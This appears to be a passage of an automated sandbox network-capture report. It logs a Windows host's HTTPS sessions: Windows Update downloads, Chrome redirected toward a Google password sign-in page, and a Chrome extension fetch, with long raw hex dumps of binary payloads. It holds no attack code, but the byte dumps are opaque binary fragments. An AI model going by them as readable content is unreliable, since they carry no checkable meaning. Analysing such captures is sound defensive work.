Sep 29, 2024 01:03:18.407954931 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Sep 2024 23:03:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	20.114.59.183	443

Timestamp	Bytes transferred	Direction	Data
2024-09-28 23:01:28 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=FzTot36CsvZZWwK&MD=aUVBR8F3 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-09-28 23:01:28 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 0458dc63-30da-4447-81d8-5d74bc8c1cef MS-RequestId: 185befe8-c26c-4760-9ef1-e2c78c85ceb8 MS-CV: iwp5qtSP1024LjQd.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 28 Sep 2024 23:01:28 GMT Connection: close Content-Length: 24490
2024-09-28 23:01:28 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-09-28 23:01:28 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49710	20.114.59.183	443

Timestamp	Bytes transferred	Direction	Data
2024-09-28 23:02:06 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=FzTot36CsvZZWwK&MD=aUVBR8F3 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-09-28 23:02:07 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 17c06c49-9a47-4130-b061-55326ed038ba MS-RequestId: 812c3c19-c63b-4297-b0f4-482dc812aacb MS-CV: N3oqilsVs02YCxjd.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 28 Sep 2024 23:02:06 GMT Connection: close Content-Length: 30005
2024-09-28 23:02:07 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-09-28 23:02:07 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49726	142.250.186.46	443	7264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 23:02:28 UTC	787	OUT	GET /account?=https://accounts.google.com/v3/signin/challenge/pwd HTTP/1.1 Host: youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIpbbJAQipncoBCMeVywEIlqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-28 23:02:28 UTC	1919	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary X-Content-Type-Options: nosniff Expires: Sat, 28 Sep 2024 23:02:28 GMT Date: Sat, 28 Sep 2024 23:02:28 GMT Cache-Control: private, max-age=31536000 Location: https://www.youtube.com/account?=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fchallenge%2Fpwd X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" Content-Security-Policy: require-trusted-types-for 'script' Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9 Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info." Server: ESF Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: YSC=8eeyt93UQAA; Domain=.youtube.com; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49729	172.217.18.14	443	7264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 23:02:29 UTC	830	OUT	GET /account?=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fchallenge%2Fpwd HTTP/1.1 Host: www.youtube.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIpbbJAQipncoBCMeVywEIlqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: YSC=8eeyt93UQAA
2024-09-28 23:02:29 UTC	2530	IN	HTTP/1.1 303 See Other Content-Type: application/binary X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 28 Sep 2024 23:02:29 GMT Location: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%253F%253Dhttps%25253A%25252F%25252Faccounts.google.com%25252Fv3%25252Fsignin%25252Fchallenge%25252Fpwd%26feature%3Dredirect_login&hl=en Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN Content-Security-Policy: require-trusted-types-for 'script' Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info." Server: ESF Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: GPS=1; Domain=.youtube.com; Expires=Sat, 28-Sep-2024 23:32:29 GMT; Path=/; Secure; HttpOnly Set-Cookie: VISITOR_INFO1_LIVE=YyP4m5SjozE; Domain=.youtube.com; Expires=Thu, 27-Mar-2025 23:02:29 GMT; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Set-Cookie: VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgJg%3D%3D; Domain=.youtube.com; Expires=Thu, 27-Mar-2025 23:02:29 GMT; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49731	142.250.185.129	443	7264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 23:02:29 UTC	564	OUT	GET /crx/blobs/AY4GWKCjSWa8TD5HR0ssoNSHmv1DlGbxavvv4f4_vreCQV6o4JdgbhTns13WqVLfraA3idGD1YqVFdL1d29hUkKmBRQxeBB8OW5ZEZvDIDLLC0_H7OAK-03clOTMdE15SKgAxlKa5Za-otUDEb42n7phqLA20ygc_Y63/EFAIDNBMNNNIBPCAJPCGLCLEFINDMKAJ_24_9_1_1.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-28 23:02:30 UTC	574	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 1941225 X-GUploader-UploadID: AD-8ljteXVQqAG1PX2KqxHTu4GvkAPyvqq3U7732bNMDgskkqiEld7Df1E78q47tm6e7lHOO2Ss5oXJKpA X-Goog-Hash: crc32c=gJt37Q== Server: UploadServer Date: Sat, 28 Sep 2024 10:53:46 GMT Expires: Sun, 28 Sep 2025 10:53:46 GMT Cache-Control: public, max-age=31536000 Age: 43724 Last-Modified: Mon, 23 Sep 2024 06:22:07 GMT ETag: 1e24b304_11d52cdb_efd8d879_eed7fdfd_5995d5f9 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-09-28 23:02:30 UTC	816	IN	Data Raw: 43 72 32 34 03 00 00 00 18 04 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 8f fb bf 5c 37 63 94 3c b0 ee 01 c4 b5 a6 9a b1 9f 46 74 6f 16 38 a0 32 27 35 dd f0 71 6b 0e dc f6 25 cb b2 ed ea fb 32 d5 af 1e 03 43 03 46 f0 a7 39 db 23 96 1d 65 e5 78 51 f0 84 b0 0e 12 ac 0e 5b dc c9 d6 4c 7c 00 d5 b8 1b 88 33 3e 2f da eb aa f7 1a 75 c2 ae 3a 54 de 37 8f 10 d2 28 e6 84 79 4d 15 b4 f3 bd 3f 56 d3 3c 3f 18 ab fc 2e 05 c0 1e 08 31 b6 61 d0 fd 9f 4f 3f 64 0d 17 93 bc ad 41 c7 48 be 00 27 a8 4d 70 42 92 05 54 a6 6d b8 de 56 6e 20 49 70 ee 10 3e 6b d2 7c 31 bd 1b 6e a4 3c 46 62 9f 08 66 93 f9 2a 51 31 a8 db b5 9d b9 0f 73 e8 a0 09 32 01 e9 7b 2a 8a 36 a0 cf 17 b0 50 70 9d a2 f9 a4 6f 62 4d Data Ascii: Cr240"0H0\7c<Fto82'5qk%2CF9#exQ[L\|3>/u:T7(yM?V<?.1aO?dAH'MpBTmVn Ip>k\|1n<FbfQ1s2{*6PpobM
2024-09-28 23:02:30 UTC	1390	IN	Data Raw: a5 09 b8 c8 6c 40 fb 4e c2 bb cf 94 46 64 e5 d5 a4 b0 7d f1 86 3e 44 84 55 34 8d 2b d3 10 48 c5 ce d5 79 96 e2 55 e4 64 ca 64 08 f5 7d 9d c4 a6 d1 3e fb 6d f1 c4 1a a5 01 0a 5b 30 59 30 13 06 07 2a 86 48 ce 3d 02 01 06 08 2a 86 48 ce 3d 03 01 07 03 42 00 04 b4 02 f9 a9 1c ae e1 0c 84 f8 dc 9b 17 72 98 a5 e0 32 d5 db 2b 59 d8 49 c0 ef be e8 6b f9 f8 62 52 b8 6a 35 53 6c 07 8b 38 d4 ff 9a dd bc dd f9 bc 48 22 69 cc 2d 6c a1 01 60 b4 51 e3 7b d1 cf 12 46 30 44 02 20 72 2c b4 73 d0 70 bf 75 a7 29 2b e3 3f a3 a6 44 e4 4f d9 d4 03 a1 e9 d3 16 86 08 74 a7 f8 72 f5 02 20 21 74 a1 5b 1a 27 6a 9d 2d f3 bb cb 4b 98 61 c2 f7 b1 f0 f9 0e f3 d4 37 68 59 34 62 bb ab 80 c2 82 f1 04 12 0a 10 45 08 3d 1c dd d8 1f 20 9f 26 b2 b4 58 d3 ca 09 50 4b 03 04 14 00 08 08 08 00 00 Data Ascii: l@NFd}>DU4+HyUdd}>m[0Y0H=H=Br2+YIkbRj5Sl8H"i-l`Q{F0D r,spu)+?DOtr !t['j-Ka7hY4bE= &XPK
2024-09-28 23:02:30 UTC	1390	IN	Data Raw: 42 42 cb 28 10 59 fd ff 6e 99 37 6f 9a 3f 2c 29 25 6c 28 8c 91 6b 84 52 53 7a b7 0d aa 62 54 53 77 b5 ef 7a f4 35 32 19 df c7 a8 b1 0a 93 15 df 81 0a 4f e4 1c 06 b8 06 af 60 ca 43 6a f1 c6 24 ca 0c ba 55 8d 8e ec 8d 54 15 4f f7 34 cf 1c 9b 0f 82 53 d6 4f 5b 65 36 99 e8 f9 e9 8f 91 c6 10 2e d3 1c 43 ae 85 53 74 dd 2c 03 5d 55 b2 4c ad 80 74 2d 4e f3 46 bf dd 63 0e 89 ed 34 2f 4a 1f f5 97 58 93 c7 83 ee ca 26 ec d1 11 e3 90 4d f1 3b e5 b3 aa 1c c5 33 c8 aa 72 b4 ac ca f1 c8 fe 01 50 4b 07 08 01 6c fb f5 cb 01 00 00 c3 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 2d 00 73 77 5f 6d 6f 64 75 6c 65 73 2f 55 54 05 00 01 ac cb ec 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 1e 1b f9 f9 0a db 01 00 00 00 00 00 00 00 00 Data Ascii: BB(Yn7o?,)%l(kRSzbTSwz52O`Cj$UTO4SO[e6.CSt,]ULt-NFc4/JX&M;3rPKlPK!-sw_modules/UTf
2024-09-28 23:02:30 UTC	1390	IN	Data Raw: 23 27 90 b4 9b 20 d2 a9 86 53 0e 9f fa 7f 01 50 4b 07 08 9a 14 02 bb e3 02 00 00 fb 05 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 0d 00 2d 00 6d 61 6e 69 66 65 73 74 2e 6a 73 6f 6e 55 54 05 00 01 66 b8 f1 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 77 b6 6c e9 0d db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d5 18 cb 6e dc 36 f0 ee af 58 ec c5 80 61 49 59 c7 48 52 b7 28 50 b8 af 1c 92 83 93 1e 8a c2 10 28 72 24 d1 a6 48 95 a4 76 bd 30 fc ef 1d 52 d2 5a 54 f7 21 3f d0 a0 7b 5a cd 8b f3 e6 0c ef 8f e6 4d cd 88 85 b4 d1 62 7e 31 9b 97 d6 d6 e6 22 49 a8 e0 20 ad 39 8b 0b a5 0a 01 31 55 55 62 40 2f 39 85 a4 e5 38 4b a8 be 9b 9f 1e 1d cd f0 37 97 a4 02 c7 9f a6 9f be fc 96 ae 20 3b ab 59 fe cb 9d 95 9f 11 91 a6 48 Data Ascii: #' SPKPK!-manifest.jsonUTff wln6XaIYHR(P(r$Hv0RZT!?{ZMb~1"I 91UUb@/98K7 ;YH
2024-09-28 23:02:30 UTC	1390	IN	Data Raw: 93 75 f4 f0 0f 50 4b 07 08 4d aa 74 7b fc 04 00 00 b9 15 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 2d 00 73 63 68 65 6d 61 2e 6a 73 6f 6e 55 54 05 00 01 3a c6 91 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 99 b7 3a b9 d4 da 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 90 cd 4e c3 30 10 84 ef 79 8a 55 2e 5c 2a 7a e7 56 09 89 f6 80 40 a2 3c 80 93 ac 13 23 d7 6b d9 6b 95 a8 ea bb 63 3b 21 fd 51 10 39 f8 32 3b b3 3b 9f 4f 05 40 c9 bd c5 f2 09 4a aa be b0 e6 72 95 34 eb c8 a2 63 85 3e 4e 4e 51 89 da 9b 45 b3 45 6d bf 27 29 85 15 eb 9c 4e 53 e8 d2 18 58 54 8f 79 4d 76 34 e8 6b a7 2c 2b 32 c9 b7 93 e0 91 81 09 a4 d0 1e 81 bb 98 53 0c 47 32 0f 0c 34 6d b9 da f0 5b d0 b3 53 a6 2d b3 7c 1e a6 e5 a7 17 2d be a2 Data Ascii: uPKMt{PK!-schema.jsonUT:f :N0yU.\*zV@<#kkc;!Q92;;O@Jr4c>NNQEEm')NSXTyMv4k,+2SG24m[S-\|-
2024-09-28 23:02:30 UTC	1390	IN	Data Raw: 13 76 8b 3b 64 0d d0 3b 41 66 b0 cd f9 f1 8f 30 b7 b6 0a 63 ff 65 f0 9d f9 5f 19 0a 82 af a4 50 09 be 90 00 d6 1a 8d 1f 75 ce a6 c5 92 c2 9b 8f 56 af 1f 1a 67 77 c7 3c 47 74 1a ea 5a 5a 81 ef 05 d9 6f f3 f3 41 38 0a a3 8f ed 52 c9 24 f2 84 72 58 b7 7a 45 45 36 50 03 11 45 f1 1e 55 c9 19 5c e2 22 c1 20 65 69 ba 19 1e 00 f3 1d b8 d3 95 06 0c df 97 cf f0 55 9f f3 ab e6 28 ec 41 07 83 e8 f8 13 60 be f3 67 d8 e6 20 74 6d 46 a9 6b 83 19 6e 98 30 8a fa bc b5 13 ee b4 1d 44 7b 5e 59 6c 77 24 cc 82 b6 c5 c0 fb 4c 70 ae d1 85 9c c4 72 4f f8 80 8e 3f 3d a8 c1 79 34 a0 f8 af f7 51 ac 06 6b fc 19 3d 46 f1 43 ad 0b 73 d4 d4 ed 68 34 3a 18 1d 6c aa d7 fe ba 89 ed ba 22 07 71 dd 78 9b 69 56 ba 5a 62 74 b4 7f df 3c c6 3f 42 4d a6 42 d9 a8 15 11 de f4 6b 3c c1 d9 d5 b4 f9 Data Ascii: v;d;Af0ce_PuVgw<GtZZoA8R$rXzEE6PEU\" eiU(A`g tmFkn0D{^Ylw$LprO?=y4Qk=FCsh4:l"qxiVZbt<?BMBk<
2024-09-28 23:02:30 UTC	1390	IN	Data Raw: f1 e9 f7 f9 0a db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 50 4b 07 08 00 00 00 00 02 00 00 00 00 00 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 73 77 5f 6d 6f 64 75 6c 65 73 2f 61 63 72 6f 2d 67 73 74 61 74 65 2e 6a 73 55 54 05 00 01 3a c6 91 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 99 b7 3a b9 d4 da 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ad 55 5d 6f e2 38 14 7d 9f 5f e1 e6 a1 4a 46 69 5a ba 1a 69 15 94 d5 a4 25 65 a3 a1 09 2a b4 d2 3e 21 e3 5c c0 bb c1 46 b6 03 45 94 ff be d7 09 50 a0 dd d1 3e 4c 5e 20 d7 e7 dc 7b 7c bf 72 fd f5 57 3d 5f be 92 b8 93 df 25 e4 3e cf 1e d2 4e 92 0d d3 b8 87 c6 d1 c7 e7 8b 05 93 7b b9 58 2b 3e 9d 19 72 7b d3 fa 46 e2 42 8e 81 0c d6 da c0 5c 93 Data Ascii: PKPK!-sw_modules/acro-gstate.jsUT:f :U]o8}_JFiZi%e*>!\FEP>L^ {\|rW=_%>N{X+>r{FB\
2024-09-28 23:02:30 UTC	1390	IN	Data Raw: ec 28 4b 3b 04 7d a8 60 40 22 f9 dd dd 77 df 7d f4 e8 e8 47 3d 07 47 6c 76 36 ff ed 9c 9d ce 2f 3f 5c 9c 9d 5f 2e 2e 66 1f 69 f3 ee db e7 20 80 d9 a9 ad 1a a7 37 39 b2 93 f1 e4 67 36 cb ec 0a d8 75 e3 11 4a cf 2e 4c 6a 5d 65 9d 42 c8 02 78 56 14 ec 2a 80 3d bb 02 0f ee 0b 64 b2 4b 73 39 5f 5c 9c 9e c7 3b 84 36 6b eb 4a 85 da 1a 96 5a 83 4a 1b c8 58 0e 0e b4 61 da 0b a6 4c c6 1c 94 b4 ef 29 16 73 60 95 b3 15 38 6c 98 5d bf 42 a1 0b d4 54 dc d7 55 55 68 70 5e 50 bc 5e d3 7e 23 19 5b 50 22 6d 10 8a 02 52 ac 55 d1 c1 11 d2 dc e8 94 56 44 25 85 8a a2 7b 4e 14 bc 67 a5 dc 8e 83 d3 80 ca 35 0c ed 77 d0 a0 f0 9e 48 b7 b7 cf 42 25 03 6a d5 30 45 6a a8 80 48 d5 aa f8 8a 5c df 72 a1 1e 76 7d 98 b4 a8 33 6d 36 0c 9d ca 80 79 48 1d 60 97 d8 3a 22 fd 34 a7 80 27 d5 d9 Data Ascii: (K;}`@"w}G=Glv6/?\_..fi 